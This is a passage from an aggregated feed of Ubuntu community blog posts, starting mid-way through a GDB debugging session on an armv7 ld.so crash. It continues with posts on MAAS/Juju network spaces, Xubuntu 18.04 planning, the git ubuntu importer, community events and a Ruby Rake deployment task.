#4  update_global_location_list (insert_mode=insert_mode@entry=UGLL_MAY_INSERT) at ./gdb/breakpoint.c:12177
#5  0x004ea0a0 in update_global_location_list_nothrow (insert_mode=UGLL_MAY_INSERT) at ./gdb/breakpoint.c:12215
#6  0x004ea484 in create_solib_event_breakpoint_1 (insert_mode=UGLL_MAY_INSERT, address=address@entry=4152138308, gdbarch=gdbarch@entry=0x0) at ./gdb/breakpoint.c:7555
#7  create_solib_event_breakpoint (gdbarch=gdbarch@entry=0x9288c0, address=address@entry=4152138308) at ./gdb/breakpoint.c:7562
#8  0x004497bc in svr4_create_probe_breakpoints (objfile=0x933238, probes=0xfffef148, gdbarch=0x9288c0) at ./gdb/solib-svr4.c:2089
#9  svr4_create_solib_event_breakpoints (gdbarch=0x9288c0, address=<optimized out>) at ./gdb/solib-svr4.c:2173
#10 0x00449c5c in enable_break (from_tty=<optimized out>, info=<optimized out>) at ./gdb/solib-svr4.c:2465
#11 svr4_solib_create_inferior_hook (from_tty=<optimized out>) at ./gdb/solib-svr4.c:3057
#12 0x0056bba6 in post_create_inferior (target=0x801084 <current_target>, from_tty=from_tty@entry=0) at ./gdb/infcmd.c:469
#13 0x0056c736 in run_command_1 (args=<optimized out>, from_tty=0, run_how=RUN_NORMAL) at ./gdb/infcmd.c:665
#14 0x00465334 in cmd_func (cmd=<optimized out>, args=<optimized out>, from_tty=<optimized out>) at ./gdb/cli/cli-decode.c:1886
#15 0x006062a6 in execute_command (p=<optimized out>, p@entry=0x874758 "run", from_tty=0) at ./gdb/top.c:630
#16 0x00548760 in command_handler (command=0x874758 "run") at ./gdb/event-top.c:583
#17 0x00606a66 in read_command_file (stream=stream@entry=0x875da8) at ./gdb/top.c:424
#18 0x004684e2 in script_from_file (stream=stream@entry=0x875da8, file=file@entry=0xfffef7d0 "~/test.script") at ./gdb/cli/cli-script.c:1592
#19 0x004639bc in source_script_from_stream (file_to_open=0xfffef7d0 "~/test.script", file=0xfffef7d0 "~/test.script", stream=0x875da8) at ./gdb/cli/cli-cmds.c:568
#20 source_script_with_search (file=0xfffef7d0 "~/test.script", from_tty=<optimized out>, search_path=<optimized out>) at ./gdb/cli/cli-cmds.c:604
#21 0x0058821a in catch_command_errors (command=0x463a89 <source_script(char const*, int)>, arg=0xfffef7d0 "~/test.script", from_tty=0) at ./gdb/main.c:379
#22 0x00588ea0 in captured_main_1 (context=<optimized out>) at ./gdb/main.c:1125
#23 captured_main (data=<optimized out>) at ./gdb/main.c:1147
#24 gdb_main (args=<optimized out>) at ./gdb/main.c:1173
#25 0x004343ac in main (argc=<optimized out>, argv=<optimized out>) at ./gdb/gdb.c:32
(gdb) p/x bp_tgt->placed_address
$1 = 0xf77c9a44
(gdb) p bp_tgt->kind
$2 = 4

Sure enough, default_memory_insert_breakpoint is called this time with kind == 4 (ARM_BP_KIND_ARM) which seems to be incorrect. Setting a breakpoint in arm_pc_is_thumb again, we can verify that the reason for this is that the call to lookup_minimal_symbol_by_pc fails:

(gdb) break ./gdb/arm-tdep.c:439                                                                                                                                                                                   
Breakpoint 1 at 0x3ec54: file ./gdb/arm-tdep.c, line 439.                                                                                                                                                          
(gdb) run
Starting program: /usr/bin/gdb --command=\~/test.script                                                  
Cannot parse expression `.L1207 4@r4'.                                                                   
warning: Probes-based dynamic linker interface failed.                                                   
Reverting to original interface.                    

[Thread debugging using libthread_db enabled]       
Using host libthread_db library "/lib/arm-linux-gnueabihf/libthread_db.so.1".
GNU gdb (Ubuntu 8.1-0ubuntu3) 8.1.0.20180409-git
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "arm-linux-gnueabihf".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word".

Breakpoint 1, arm_pc_is_thumb (gdbarch=0x928fb0, memaddr=4152138308) at ./gdb/arm-tdep.c:439
439     ./gdb/arm-tdep.c: No such file or directory.
(gdb) p/x memaddr
$1 = 0xf77c9a44
(gdb) p sym.minsym
$2 = (minimal_symbol *) 0x0

This results in arm_pc_is_thumb returning 0 and arm_breakpoint_kind_from_pc returning ARM_BP_KIND_ARM, which results in arm_sw_breakpoint_from_kind returning the wrong breakpoint instruction sequence.

TL;DR

GDB causes a crash in the dynamic loader (ld.so) on armv7 if ld.so has been stripped of its symbol table, because it is unable to correctly determine the appropriate instruction set when inserting probe event breakpoints.

If you’ve got to the end of this (congratulations), then you’re probably going to be disappointed to hear that I’m not sure what the proper fix is – this isn’t really my area of expertise. For the rustc package, I just added a Build-Depends: libc6-dbg [armhf] as a workaround for now, and that might even be the correct fix. But, it’s certainly nicer to understand why it didn’t work in the first place.

]]> Chris Coulson Spaces – uncomplicating your network https://ivoks.com/ubuntu/spaces-uncomplicating-your-network/ https://ivoks.com/ubuntu/spaces-uncomplicating-your-network/ Thu, 12 Apr 2018 04:44:16 GMT An old OpenStack network architecture
An old OpenStack network architecture

For past 5-6 years I’ve been in business of deploying cloud solutions for our customers. Vast majority of that was some form of OpenStack, either a simple cloud or a complicated one. But when you think about it – what is a simple cloud? It’s easy to say that small amount of machines makes an easy, and large amount of machines makes a complicated cloud. But, that is not true. Complexity of a typical IaaS solution is pretty much determined by network complexity. Network, in all shapes and forms, from the underlay network to the customer’s overlay network requirements. I’ll try to explain how we deal with the underlay part in this blog.

It’s not a secret that a traditional tree like network architecture just doesn’t work for cloud environments. There are multiple reasons why; it doesn’t scale very well, it requires big OSI layer 2 domains and… well, it’s based on OSI layer 2. Debugging issues on that level is never a joyful experience. Therefore, for IaaS environments one really wants to do a modern design in a form of a spine-leaf architecture. Layer 3 spine-leaf architecture. This allows us to have bunch of smaller layer 2 domains, which then nicely correlate to availability zones, power zones, etc. However, managing environments with multiple layer 2 and therefore even more layer 3 domains requires a bit of rethinking. If we truly want to be effective in deploying and operating a cloud across multiple different layer 2 domains we need to think of the network in a bit more abstract mode. Luckily, this is nothing new.

In traditional approach to network, we talk about TORs, management fabric, BMC/OOB fabric, etc. These are most of the time layer 2 concepts. Fabric, after all, is a collection of switches. But the approach is correct; we should always talk about networks in abstract terms. Instead of talking about subnets and VLANs, we should talk about purpose of the network. This becomes important when we talk about spine-leaf architecture and multiple different subnets that serve the same purpose. In rack 1, subnet 172.16.1.0/24 is management network, but in rack 2, management network is on subnet 192.168.1.0/24, and so on. It’s obvious that it’s much nicer to abstract those subnets into a ‘management network’. Still, nothing new. We do this every day.

So… Why do our tools and applications still require us to use VLANs, subnets and IPs? If we deploy same application across different racks, why do we have to keep separate configurations for each of the units of the same application? What we really want is to have all of our Keystones listening on OpenStack Public API network, and not on subnets 192.168.10.0/24, 192.168.20.0/24 and 192.168.30.0/24. We end up thinking about application on a network, but we configure differently exact copies of the same application (units) on different subnets. Clearly our configuration tools are not doing what we want, but rather forcing us to transform our way of thinking into what those tools need. It’s a paradox that OpenStack is not that complicated, rather it’s made complicated by the tools used to deploy it.

While trying to solve this problem in our deployments at Canonical, we came up with concept of spaces. A space would be this abstracted network that we have in our heads, but somehow fail to put into our tools. Again, spaces are not a revolutionary concept in networking, they have been in our heads all this time. So, how do we implement spaces at Canonical?

We have grown concept of spaces across all of our tooling; MAAS, juju and charms. When we configure MAAS to manage our bare metal machines, we do not define networks as subnets or VLANs, we rather define networks as spaces. A space has a purpose, description and few other attributes. VLANs, and indirectly subnets too, become properties of the space, instead of other way around. This also means that when we deploy a machine, we deploy it connected to a space. When we deploy a machine, we usually do not deploy it on a specific network, but rather with specific requirements; must be able to talk to X, must have Y CPU and Z RAM. If you ever asked yourself why does it take so much time to rack and stack a server, it’s because of this disconnect of what we want and how we handle the configuration.

We’ve also enabled Juju to make this kind of requests – it asks MAAS for machines that is connected to a space, or set of spaces. It then exposes this spaces to charms, so that each charm knows what kind of networks this application has on its disposal. This allows us to do ‘juju deploy keystone –bind public=public-space -n3’; deploy three keystones, connect them to a public-space, a space defined in MAAS. What VLAN will that be, which subnet or an IP, we do not care; the charm will get information from Juju about these “low level” terms (VLANs, IPs). We humans do not think of VLANs and subnets and IPs; at best we think in OSI layer 1 terms.

Sounds a bit complicated? Let’s flip it the other way around. What I can do now is define my application as “3 units of keystone, which use internal network for SQL, public network for exposing API, internal network for OpenStack’s internal communication and is also exposed on OAM network for management purposes” and this is precisely how we deploy OpenStack. In fact, the Juju bundle looks like this:

keystone:
  charm: cs:keystone
  num_units: 3
  bindings:
    "": oam-space
    public: public-space
    internal: internal-space
    shared-db: internal-space

Those who follow OpenStack development will notice that something similar has landed in OpenStack recently; routed provider networks. It’s the same concept, solving the same problem. It’s nice to see how Juju uses this out of the box.

Big thanks to MAAS, Juju, charms and OpenStack communities for doing this. It allowed us to deploy complex applications with a breeze, and therefore shifted our focus to bigger picture, IaaS modeling and some other, new challenges!

]]> Ante Karamatić No Title Available https://carla-sella.blogspot.com/2018/02/blog-post.html https://carla-sella.blogspot.com/2018/02/blog-post.html Sat, 03 Feb 2018 13:50:00 GMT
]]> Carla Sella Preparing for Xubuntu 18.04 https://open.knome.fi/2017/10/24/preparing-xubuntu-18-04/ https://open.knome.fi/2017/10/24/preparing-xubuntu-18-04/ Tue, 24 Oct 2017 06:55:22 GMT Xubuntu 17.10 was just released, but planning for Xubuntu 18.04 – the next long-term support (LTS) release – began quite some time ago. For our users, LTS releases mostly mean a system that is going to be more stable and supported for longer. For us contributors, this means a bunch of things.

As a repercussion of the longer support cycle and the sought out stable nature of the LTS releases, we do not want to introduce (too many) new components, libraries or other technical changes, as each change has regression potential. This is also a delicate balancing act between getting bugs fixed but keeping enough things as they are.

The LTS releases are also kind of an flagship for Xubuntu – they are the recommended releases for most users and while we can land stable release updates (SRU) to fix bugs and other major flaws, the scope of changes is limited. Since the next LTS release will be released two years later, we want to get things right.

For contributors – particularly us non-developer kinds – this is an ideal situation to revisit and improve artwork and documentation amongst other things. Here are some things I am going to be working on for the next months to get the new LTS look and feel more polished than the previous one.

Branding – or, updated logo

In an earlier article I wrote about the refreshed Xubuntu logo – the why and the what. Here’s the other what.

Practically this change means we will have to touch every package with Xubuntu branding and make sure they use the updated logo. For the most part this is trivial, but landing the changes requires time and some co-operation from the team.

We will also need to make sure the new logo lands on the official website, all related sites and social media before the release – ideally before the first milestone release. Last but not least, we need to communicate this change to our official vendors and provide them the new logo as soon as possible so they can start updating their products.

Wallpapers

As with any release, the LTS release also needs a wallpaper. This needs to be drafted, proposed and polished. The process usually takes from a few days to a few weeks. We’ll also want to land the wallpaper relatively early to be able to fix potential issues with it before release.

The Xubuntu team has organized a community wallpaper contest for the last two LTS releases and it’s very likely we will be organizing one for 18.04 as well. I was not completely satisfied in how we ran the contest last time, and I’ve started a discussion to review our policies already, as getting comments from the team can sometimes be quite slow. While the community wallpaper package does not serve any defaults, we will need to end the contest well before the related freezes to double check license issues (like attribution) and leave enough time for uploading them.

Documentation

Even if there is no need to rewrite sections – or the whole documentation – this time around, there are several tasks for the documentation team as well.

First of all, it’s time to refresh both the installer slideshow and the website feature tour. Nothing has been planned yet, but both of these are at least two years old and in need of a facelift – both visually and in terms of content.

We haven’t had to touch the documentation much in a long time because the main software selection and features have stayed the same. On the other hand this means that the documentation might be somewhat stale. This might be hard to identify – and possibly even harder to get stale sections refreshed – but we definitely should have a look at our offering before the release. To do this, we need to consider the following questions:

  • Does the documentation provide a good overview of the system for new users?
  • Does the documentation help users get started?
  • Does the documentation answer the most common questions?
  • Does the documentation help get the most common (non-hardware specific) issues solved?
  • Does the documentation help more advanced users – including those that are familiar with other Linux operating systems but not Xubuntu?
  • Is all information in the documentation up-to-date?
  • Does the documentation need extending in any area?
  • Can we extend the documentation in a useful way without making it too verbose?

But wait! There’s more!

My work item list for Xubuntu 18.04 doesn’t end here. You can find all of the registered work items on our status tracker.

It’s worth noting that not all of the work items in the status tracker have an assignee. This means we are still looking for people who can help us make Xubuntu 18.04 a greater release than its predecessors. Maybe you can volunteer and pick up a work item or two?

In addition to the work items, there are a few other activities that we need help with:

  • Test. By testing the daily and milestone ISOs you can help us make sure there aren’t (so many) annoying bugs in the final release.
  • Take part in the community wallpaper contest. This is not open yet, but once it is, submit your work. You can win and get some swag as well as your work included in an official Xubuntu release!
  • Submit us ideas for improving and extending our documentation. I mentioned some of the questions we have to ask ourselves with the documentation. Can you help us answer these and even work with us on the writing and proofreading?

Even these tasks just scratch the surface of what needs to be done – and what can be done.

Get your hands dirty now and read more about getting involved with Xubuntu, subscribe to the Xubuntu development discussion mailing list and join our development IRC channel #xubuntu-devel which is active on most days.

This article is part of the article series .

]]> Pasi Lallinaho freenode #live http://nhandler.com/blog/2017/08/26/freenode-live.html http://nhandler.com/blog/2017/08/26/freenode-live.html Sat, 26 Aug 2017 00:00:00 GMT For those of you who might not be aware, freenode is an IRC network that caters to free and open source projects. We have had a goal for a number of years to hold freenode #live, an in-person conference where our staff, projects, FOSS supporters, and IRC enthusiasts could all get together in one place. Thanks to some very generous sponsorship, primarily by Private Internet Access, this conference is finally happening! The first ever freenode #live conference will take place October 28 - 29, 2017 in Bristol, United Kingdom.

This conference will only be a success with support from the community. Luckily, there are many ways to help out.

  1. Register to attend. We are working on putting together a great lineup of speakers that you will not want to miss. Registering allows us to finalize many logistical details surrounding the event to make sure everything runs smoothly.
  2. Do you represent a FOSS group? We would love to have your group present at the event. There will be an exhibitor hall where you can advertise your organization and attract new users and contributors.
  3. Submit a talk. Our call for proposals is still open. New and experienced speakers are welcome. Feel free to contact 2017-team@freenode.live and we would be happy to work with you to come up with a talk idea or provide feedback.
  4. If you or your company are interested in helping to sponsor this event, please reach out to exhibit@freenode.live. We have opportunities for budgets of all sizes.

I look forward to hopefully seeing you at freenode #live!

]]> Nathan Handler More on the imported repositories http://www.justgohome.co.uk/blog/2017/08/more-on-the-imported-repositories.html http://www.justgohome.co.uk/blog/2017/08/more-on-the-imported-repositories.html Mon, 21 Aug 2017 16:53:44 GMT git ubuntu illustration

This is the third post in our series on our git workflow tooling in Ubuntu. There is an index of all our planned posts in the first post. As mentioned there, it is important to keep in mind that the tooling and implementation are still highly experimental.

Nish introduced our imported repositories using the git ubuntu clone wrapper, as well as using git directly.

I'd like to go into a little more detail about what we're actually importing.

Automatic imports watch for new source publications in Launchpad. When they occur, the importer will push new commits and tags to match those publications and move up branch pointers automatically. All branches maintained by the importer are fast-forwarding. A temporary exception to this is during our experimental stage, before we release a 1.0. Until then, we may re-import packages as we work on the importer.

Our importer maintains one repository per source package in lp:~usd-import-team for now. Eventually we expect to make these available under an alias of the form lp:ubuntu/+source/<package>.

The imported trees correctly reflect the ancestry of individual source packages. This includes both Debian and Ubuntu history, with Ubuntu history correctly parented from the appropriate points in Debian's history.

There is a branch corresponding to each Debian and Ubuntu series (eg. sid, stretch, xenial, artful), and in the case of Ubuntu, pocket (eg. trusty-updates, xenial-security, artful-proposed). We’ll cover details on how exactly these work, and the logic behind their design, in future posts.

Single source of truth

A goal of the importer is to reflect the single source of truth, which we define as Launchpad's source publication history. Therefore, the only source of the imported tags and branches must come via the importer and not directly from uploaders. Only the importer can push to the imported repositories. We do have a mechanism to preserve "rich history" provided by git committers that in any other project they'd be able to push directly; more on this in a future post.

Note that this methodology means that upstream's commit graphs are typically not made available by the importer. You won't find individual upstream commits by looking in our imported respository against a particular package. We may decide to make this possible in the future by relying on the "rich history" import mechanism combined with the use of our parenting invariant. More on this in a future post.

We're trying hard to make sure that there is no case where a source package upload can cause the importer to fail. We're treating any failure to import a source package as a bug in our importer. The importer should be able to import anything that was ever uploaded to Debian or Ubuntu.

Available branches

As Nish mentioned, there are two main types of branches:

  1. Devel branches: the branches on which to start development.
  2. Pocket branches: understanding the current state of the archive.

There are also "applied" versions of these branches, which provide quilt patches already applied.

The "devel" branches

Ubuntu developers are used to using pull-lp-source to grab the latest version of a package source on which to base development. We want to make git clone work instead.

What is the correct version on which to base development? In Ubuntu, this can vary depending on the exact publication state. Usually you want the highest version published in the development release, or the highest version published in a particular series for an SRU. For this purpose, the git importer maintains devel branches. For the development release, this is just called ubuntu/devel. For a stable release, it is ubuntu/<codename>-devel; for example: ubuntu/xenial-devel.

This is intended to save developers the effort of figuring out which pocket to use (between the release pocket, proposed, updates and security) and saves scripts from having to figure it out themselves.

One exception to this is in the rare case that a version in the proposed pocket has been discarded, such as a failed SRU. The importer only follows new version publications and does not follow deletions. In this case you may wish to start directly from a pocket branch (described below). Alternatively, before you begin you could start from the devel branch and use git revert to add a commit reversing the published change in line with the deletion. The infrastructure doesn’t care which method you choose.

Pocket branches

A different use case is to look at the git branches to understand what the archive looks like today, or how it looked in the past.

Ubuntu’s pockets

First let’s review what Ubuntu pockets actually are.

In Ubuntu, the archive for a particular release (“series”) is divided up into a number of “pockets”, which correspond to the entries in your sources.list file:

  1. The release pocket. This pocket has no specific name. During development, the release pocket is where package eventually land. Upon release, this pocket is frozen and never changes again.

  2. The “proposed” pocket. This pocket is used for two different purposes depending on whether the series is in development or has been released. During development, this is the staging area in which packages are built, tested and checked for installability before they land. When all tests pass, packages are moved into the release pocket in a process called proposed migration. After release, the proposed pocket is used for a different purpose: manual user verification of proposed stable release updates through the SRU verification process. When a package passes SRU verification, the package is moved into the updates pocket, rather than the release pocket is as the case during development.

  3. The “updates” pocket. Only used for stable releases, this pocket is used to issue recommended updates to users during the lifetime of a stable release.

  4. The “security” pocket. Only used for stable releases, this pocket is used to issue security updates to users during the lifetime of a stable release. Updates to the security pocket are always also copied into the updates pocket.

The name of a pocket is in the form <series>-<type>, such as xenial-security and artful-updates. As an exception, the release pocket is the series with no suffix, such as trusty.

Importing pockets into git

The importer maintains a branch for each pocket, in the form ubuntu/<pocket name>, such as ubuntu/trusty (the Trusty release pocket), ubuntu/xenial-security, ubuntu/artful-proposed and so on.

Combining pocket branches: the devel branches

To support the archeology use case, the importer must maintain these pocket branches. However, for the ongoing development use case, it's far more convenient for developers to use our "devel branches".

We do this by making use of our "parenting invariant", which we’ll describe in more detail in a future post. For now, it’s sufficient to understand that the devel branches are the points at which you should start development, and the pocket branches can be used to examine the current state of the various pockets in the Ubuntu archive.

Applied branches

For our drive-by contributor use case, it would be nice if these drive-by contributors didn't have to understand quilt. It's reasonable to expect that, straight after running git clone from Ubuntu and selecting an appropriate branch, the tree that appears is exactly the source used to build the corresponding Ubuntu package. For drive-by contributors unfamiliar with Debian packaging, this means that quilt patches should appear applied. Our "applied" branches and tags provide this function.

The non-applied branches are the normative imports from Debian and Ubuntu developer uploads. They are intended to represent the source package exactly and without any derived components. This means that quilt patches appear in debian/patches/ as normal, but are not applied.

From one of these import commits, all quilt patches (if any) are applied one by one. Each application results in a separate git commit. A final commit with an identical tree is added for branch fast-forwarding purposes, and these commits form the line of the "applied" branch.

Consequently, you can switch to an "applied" branch, or corresponding tag, and you'll see the state of the Ubuntu source package with all patches applied and as if quilt doesn't exist. Drive-by contributors can then file pull requests against such a branch (eg. applied/ubuntu/devel) and bots and sponsors will be able to understand exactly what is being requested.

It will often be necessary to pull out requested changes into a separate quilt patch, add dep3 headers, and possibly squash the requested change into an existing quilt patch, before uploading. We hope to automate some of this in the future, but for now this is left as a task for sponsors who accept git workflow upload requests. Contributors can either submit pull requests against the applied branches this way, or fold up into quilt patches themselves and submit pull requests against the non-applied branches instead.

In the future, it may be desirable for all Ubuntu developers to forget quilt and live entirely inside git-based patchsets. For the time being, we want to support both traditional and git-based workflows. So both applied and non-applied branches are maintained by the importer.

It is a matter of debate as to whether the non-applied or applied branches should appear by default. We are open to further discussion on this.

Available tags

The first time the importer imports a new version of a source package, it tags it using an "import tag", which is of the form import/<version>. The patches-applied equivalent is derived, and the result is tagged in the form applied/<version>.

Pocket copies, such as from Debian into Ubuntu via autosync, are not tagged; the pocket branches are moved forward with new commits (with identical trees) as necessary.

Since not all valid package version strings are valid git tag names, the tag names are escaped using the same rules as specified in dep14, Debian's recommendation on git repository layouts.

We use tags of the form upload/<version> to supply rich history for adoption into the imported commit graph. This cannot be pushed directly; more on this in a future post.

To support the preservation of orig tarballs using pristine tar, the importer also tags upstream/<version>.

pristine-tar and the dsc branches

So that the git repositories contain all the information needed to reconstruct an imported source package, the importer also stores the orig tarballs using pristine-tar and the signed dsc file in separate branches. Orig tarballs are automatically extracted on package build as needed by the git ubuntu build wrapper. This means that git ubuntu clone followed by git ubuntu build should Just Work.

Orig tarballs between Debian and Ubuntu may vary in exceptional cases, so the importer keeps these properly namespaced in debian/pristine-tar and ubuntu/pristine-tar branches to avoid collisions, and likewise for the dsc files debian/dsc and ubuntu/dsc. pristine-tar doesn't currently support multiple branches; it assumes a single branch of pristine-tar. Our git ubuntu build wrapper works around this for now. In the future I'd like for us to drive getting parameterised branch name support into pristine-tar upstream to support our use case.

Conclusion

In order to provide a full understanding of what we're doing to those developers interested in all the detail, I've tried to cover all the git reference objects presented by our importer in this post today.

In our next post, Nish will continue discussing the git ubuntu tooling by introducing git ubuntu tag.

]]> Robie Basak 1er Festival Universitario de Tecnologías Libres https://cesarsevilla.wordpress.com/2016/10/28/1er-festival-universitario-de-tecnologias-libres/ https://cesarsevilla.wordpress.com/2016/10/28/1er-festival-universitario-de-tecnologias-libres/ Fri, 28 Oct 2016 22:09:25 GMT banner2-1024x512A petición del público traemos para todos ustedes a través de la Unidad Territorial – Fundacite Zulia (UTZ) el “Festival Universitario de Tecnologías Libres”, el mismo tiene como objetivo: Impulsar el crecimiento y desarrollo del Software Libre y Código Abierto dentro del ámbito Educativo Institucional en la Región Occidental, para lograr la independencia Científica–Tecnológica del software, apoyándose en los Decretos Nacionales y leyes que ampara el estado venezolano.

Este Festival, se llevará a cabo en el Auditorio de la Universidad José Gregorio Hernández los días viernes 11/11/16 de 8:00 am / 12:00 m – 2:00 pm / 5:00pm y el sábado 12/11/16 de 9:00 am / 12:00 m.

El día Viernes realizaremos 5 Charlas técnicas y para el día Sábado realizaremos 2 charlas y una Jornada de Instalación de Sistemas Operativos Libres y/o Herramientas Libres.

Es importante resaltar que contaremos con varios representantes a nivel nacional, entre ellos Representante de la Cámara Venezolana de la industria Tecnológica, del Laboratorio Vivencial, de la Comunidad de Ubuntu-ve, y de diferentes organizaciones con el propósito de presentar los diferentes proyectos tecnológicos hechos con herramientas libres.

Si deseas participar en dicha actividad recuerda que debes registrarte a través del siguiente enlace: https://www.eventbrite.es/e/entradas-festival-universitario-de-tecnologias-libres-2016-27283438499

Si deseas obtener mayor información, puedes contactarme a través del correo csevilla@fundacite-zulia.gob.ve

]]> Cesar Sevilla A week ago … https://blogs.fsfe.org/myriam/2016/06/08/a-week-ago/ https://blogs.fsfe.org/myriam/2016/06/08/a-week-ago/ Wed, 08 Jun 2016 20:44:39 GMT my cat Filoue turned 15. She survives her nephew Stupsi, who sadly left us earlier this year.

This reminds me how long I contribute to KDE already 🙂 She has been sitting next to the keyboard purring on almost everything I did in the last 15 years.

]]> Myriam Schweingruber Ask Ubuntu moderator election is now underway! https://unbrokenspectrum.wordpress.com/2016/06/07/ask-ubuntu-moderator-election-is-now-underway/ https://unbrokenspectrum.wordpress.com/2016/06/07/ask-ubuntu-moderator-election-is-now-underway/ Tue, 07 Jun 2016 16:19:04 GMT We are in the midst of our 5th moderator election to add more firepower to our existing mod crew.

In the 6 years that Ask Ubuntu has been around, nearly 230,000 questions and 300,000 answers have been posted on the site, with the daily traffic clocking a whopping 487k visits as of now.

These numbers will only go up from here and to support this growing community, we are expanding our moderator team to accommodate two more. As is the policy with Stack Exchange network of sites, the new moderators will be added to the existing team and not replace them.

If you have a minimum of 300 reputation on Ask Ubuntu and think you can do a good job, consider nominating yourself for the role. The nomination phase itself runs for 7 days, followed by a week of primaries and then the actual election. People with 150 reputation are eligible for voting and I encourage them to vote for candidates that they think are most suitable for the role.

If you have any questions about the election process, you can ask them on meta. Discussions about the election can be had in the chat room too.

If mod work is not your cup of tea but you’re still looking for a way to help, you can always help us answer the incoming new questions. Featured questions would be a good place to start.

UPDATE:

Ask Ubuntu moderator election 2016 is now over and the following community members have been elected as moderators:

]]> Barneedhar Easy Rake-based Deployment for Git-hosted Rails Apps http://ben-collins.blogspot.com/2016/03/easy-rake-based-deployment-for-git.html http://ben-collins.blogspot.com/2016/03/easy-rake-based-deployment-for-git.html Fri, 25 Mar 2016 17:54:00 GMT OpenStrokes, a website I've been working on. Some things were just too complex (capistrano) and some were way too simple (StackOverflow answers that didn't do everything, or didn't check for errors).

So, as most people do, I wrote my own. Hopefully this short rake task can help you as well. This assumes that your application server has your app checked out as a clone of some git repo you push changes to and that you are running under passenger. When I want to deploy, I log in to my production server, cd to my app repo, and then run:

rake myapp:deploy

For just strictly view updates, it completes in 3 seconds or less. There are several things it does, in addition to checking for errors:

  • Checks to make sure the app's git checkout isn't dirty from any local edits.
  • Fetches the remote branch and checks if there are any new commits, exits if not.
  • Tags the current production code base before pulling the changes.
  • Does a git pull with fast-forward only (to avoid unexpected merging).
  • Checks if there are any new gems to install via bundle (checks for changes in Gemfile and Gemfile.lock).
  • Checks if there are any database migrations that need to be done (checks for changes to db/schema.db db/migrations/*).
  • Checks for possible changes to assets and precompiles if needed (checks Gemfile.lock and app/assets/*).
  • Restarts passenger to pick up the changes.
  • Does a HEAD request on / to make sure it gets an expected 200 showing the server is running without errors.

The script can also take a few arguments:

  • :branch Git branch, defaults to master
  • :remote Git remote, defaults to origin
  • :server_url URL for HEAD request to check server after completion

Note, if the task encounters an error, you have to manually complete the deploy. You should not rerun the task.

Any finally, here is the task itself. You can save this to lib/tasks/myapp.rb

# We can't use Rake::Task because it can fail when things are mid
# upgrade

require "net/http"

def do_at_exit(start_time)
  puts "Time: #{(Time.now - start_time).round(3)} secs"
end

def start_timer
  start_time = Time.now
  at_exit { do_at_exit(start_time) }
end

namespace :myapp do
  desc 'Deployment automation'
  task :deploy, [:branch, :remote, :server_url] do |t, args|
    start_timer

    # Arg supercedes env, which supercedes default
    branch = args[:branch] || ENV['DEPLOY_BRANCH'] || 'master'
    remote = args[:remote] || ENV['DEPLOY_REMOTE'] || 'origin'
    server_url = args[:server_url] || ENV['DEPLOY_SERVER_URL'] || 'http://localhost/'

    puts "II: Starting deployment..."

    # Check for dirty repo
    unless system("git diff --quiet")
      puts "WW: Refusing to deploy on a dirty repo, exiting."
      exit 1
    end

    # Update from remote so we can check for what to do
    system("git fetch -n #{remote}")

    # See if there's anything new at all
    if system("git diff --quiet HEAD..#{remote}/#{branch} --")
      puts "II: Nothing new, exiting"
      exit
    end

    # Tag this revision...
    tag = "prev-#{DateTime.now.strftime("%Y%m%dT%H%M%S")}"
    system("git tag -f #{tag}")

    # Pull in the changes
    if ! system("git pull --ff-only #{remote} #{branch}")
      puts "EE: Failed to fast-forward to #{branch}"
      exit 1
    end

    # Base command to check for differences
    cmd = "git diff --quiet #{tag}..HEAD"

    if system("#{cmd} Gemfile Gemfile.lock")
      puts "II: No updates to bundled gems"
    else
      puts "II: Running bundler..."
      Bundler.with_clean_env do
        if ! system("bundle install")
          puts "EE: Error running bundle install"
          exit 1
        end
      end
    end

    if system("#{cmd} db/schema.rb db/migrate/")
      puts "II: No db changes"
    else
      puts "II: Running db migrations..."
      # We run this as a sub process to avoid errors
      if ! system("rake db:migrate")
        puts "EE: Error running db migrations"
        exit 1
      end
    end

    if system("#{cmd} Gemfile.lock app/assets/")
      puts "II: No changes to assets"
    else
      puts "II: Running asset updates..."
      if ! system("rake assets:precompile")
        puts "EE: Error precompiling assets"
        exit 1
      end
      system("rake assets:clean")
    end

    puts "II: Restarting Passenger..."
    FileUtils.touch("tmp/restart.txt")

    puts "II: Checking HTTP response code..."

    uri = URI.parse(server_url)
    res = nil

    Net::HTTP.start(uri.host, uri.port, :use_ssl => uri.scheme == 'https') do |http|
      req = Net::HTTP::Head.new(uri, {'User-Agent' => 'deploy/net-check'})
      res = http.request req
    end

    if res.code != "200"
      puts "EE: Server returned #{res.code}!!!"
      exit 1
    else
      puts "II: Everything appears to be ok"
    end
  end
end

Here's an example of the command output:

$ rake myapp:deploy
II: Starting deployment...
remote: Counting objects: 15, done.
remote: Compressing objects: 100% (8/8), done.
remote: Total 8 (delta 6), reused 0 (delta 0)
Unpacking objects: 100% (8/8), done.
From /home/user/myapp
   efee45c..e5468c1  master     -> origin/master
From /home/user/myapp
 * branch            master     -> FETCH_HEAD
Updating efee45c..e5468c1
Fast-forward
 app/views/users/_display.html.erb     | 7 +++++--
 public/svg/badges/caretakers-club.svg | 1 -
 2 files changed, 5 insertions(+), 3 deletions(-)
 delete mode 100644 public/svg/badges/caretakers-club.svg
II: No updates to bundled gems
II: No db changes
II: No changes to assets
II: Restarting Passenger...
II: Checking HTTP response code...
II: Everything appears to be ok
Time: 3.031 secs
]]> Ben Collins Speaking at San Diego Linux users group https://philipballew.wordpress.com/2016/03/21/speaking-at-san-diego-linux-users-group/ https://philipballew.wordpress.com/2016/03/21/speaking-at-san-diego-linux-users-group/ Mon, 21 Mar 2016 23:31:49 GMT Earlier this month, I had the honor and privilege of speaking at the San Diego Linux users group. I spoke about ways to customize your Ubuntu desktop, the talk finished a little earlier than the group meeting was planned to go to, so I used that time to talk about some of the server stuff with Ubuntu, as well as the switch to systemd. This seemed to take up the rest of the time. Overall, I was able to have a great experience and felt that I benefited Ubuntu tremendously.Thanks again for the invite everybody!

Nice picture of the group that I spoke to

Nice picture of the group that I spoke to

